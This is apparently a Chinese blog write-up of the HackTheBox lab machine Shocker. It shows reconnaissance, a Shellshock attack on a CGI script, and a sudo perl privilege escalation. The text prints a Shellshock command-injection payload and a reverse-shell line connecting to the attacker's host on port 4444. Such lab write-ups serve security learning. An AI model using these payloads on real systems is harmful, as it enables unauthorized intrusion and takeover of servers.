HackTheBox-Machines--Shocker

Popcorn 测试过程

1 信息收集

NMAP

  开启了两个端口,端口 80(http)、 2222(ssh)。

在这里插入图片描述

80 端口

  访问80端口,页面只有一张图片,无可利用点,尝试进行目录扫描。

在这里插入图片描述

目录扫描

  目录扫描发现 /cgi-bin

在这里插入图片描述

在这里插入图片描述

  /cgi-bin目录下一般会存在脚本文件,所以继续进行目录扫描,发现 /cgi-bin/user.sh

在这里插入图片描述

  但是访问 http://10.129.142.27/cgi-bin/user.sh 输出很奇怪,输出内容显示为执行 uptime 命令 的结果

在这里插入图片描述

在这里插入图片描述

  抓包分析该请求,有三处值得注意的地方:

		 - Content-Type:text/x-sh
		 - Content-Type:text/plain
		 - uptime 命令的执行输出

在这里插入图片描述

  通过浏览器访问 /cgi-bin/user.sh,输出结果为update命令的执行结果,并且脚本还是在/cgi-bin目录下,极有可能user.sh是一个CGI脚本。

  CGI脚本是驻留在Web服务器上的脚本,而且可以被客户端(浏览器)运行。客户端通过脚本的URL来访问脚本,就像访问普通页面一样。服务器识别出请求的URL是一个脚本,于是就运行该脚本。

  既然是CGI脚本,那就可以测试是否存在Shellshock漏洞了

2 Shellshock 攻击

  GNU Bash 4.3 及以上版本会处理环境变量值中函数定义后的尾随字符串,这允许远程攻击者通过精心设计的环境执行任意代码,具体示例包括 OpenSSH sshd 中的 ForceCommand 功能、Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块、未指定的 DHCP 客户端执行的脚本,以及其他跨越 Bash 执行权限边界设置环境的情况,又称“ShellShock”。
  由于这些环境变量在执行之前没有得到适当的清理,攻击者可以通过 HTTP 请求向服务器发送命令,并通过 Web 服务器的操作系统执行这些命令。
  当攻击者修改原始 HTTP 请求以包含字符串 () { :; }; 时,就会发生 Shellshock。Bash 对处理以此模式开头的变量有特殊规则,并将其解释为需要执行的命令。

2.1 手工验证

# paylaod
() { :;}; echo; /usr/bin/id

在这里插入图片描述

在这里插入图片描述

() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.25/4444 0>&1

在这里插入图片描述

在这里插入图片描述

2.2 使用 Metasploit 测试 Shellshock/Bashdoor

Shellshock 漏洞检测

在这里插入图片描述

在这里插入图片描述

Shellshock 漏洞攻击

在这里插入图片描述

在这里插入图片描述


3 权限提升

升级PTY

在这里插入图片描述

权限获取

sudo -l

在这里插入图片描述

sudo perl -e 'exec "/bin/sh";'

  perl有一个-e 选项允许从命令行运行 Perl。exec命令可以运行 shell 命令。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值